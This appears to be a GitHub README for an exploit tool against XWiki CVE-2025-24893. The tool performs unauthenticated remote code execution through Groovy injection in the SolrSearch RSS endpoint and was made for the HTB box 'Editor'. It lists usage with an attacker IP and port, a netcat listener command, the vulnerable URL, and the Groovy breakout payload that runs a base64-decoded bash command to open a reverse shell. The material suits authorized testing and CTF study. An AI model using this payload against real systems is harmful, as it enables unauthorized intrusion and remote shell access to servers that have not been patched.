tomkingori/xwiki-cve-2025-24893-exploitUnauthenticated RCE exploit for XWiki CVE-2025-24893 via Groovy script injection
Unauthenticated Remote Code Execution exploit for XWiki versions vulnerable to CVE-2025-24893.
XWiki versions prior to 15.10.9 are vulnerable to unauthenticated RCE through Groovy script injection in the SolrSearch RSS feed handler. The vulnerability exists because XWiki fails to properly sanitize user input in the text parameter, allowing attackers to break out of the RSS context and inject arbitrary Groovy code.
CVE ID: CVE-2025-24893
CVSS Score: 9.8 (Critical)
Affected Versions: XWiki < 15.10.9
requests library)pip3 install requests
python3 exploit.py <target_url> <attacker_ip> <listener_port>
Example:
# Start listener on attacker machine
nc -lvnp 9001
# Run exploit
python3 exploit.py http://10.10.11.80:8080 10.10.14.5 9001
}}}}}}{{{{groovy}}}})/xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload>The exploit targets the following endpoint:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=
The vulnerability allows breaking out of the RSS feed context:
}}}}}}{{{{async async=false}}}}{{{{groovy}}}}
"bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}".execute()
{{{{/groovy}}}}{{{{/async}}}}
This tool is for educational and authorized penetration testing purposes only. The author is not responsible for any misuse or damage caused by this program. Only use this exploit against systems you own or have explicit permission to test.
MIT License - See LICENSE file for details
Created for HTB box "Editor"
Note: Always ensure you have proper authorization before testing any systems.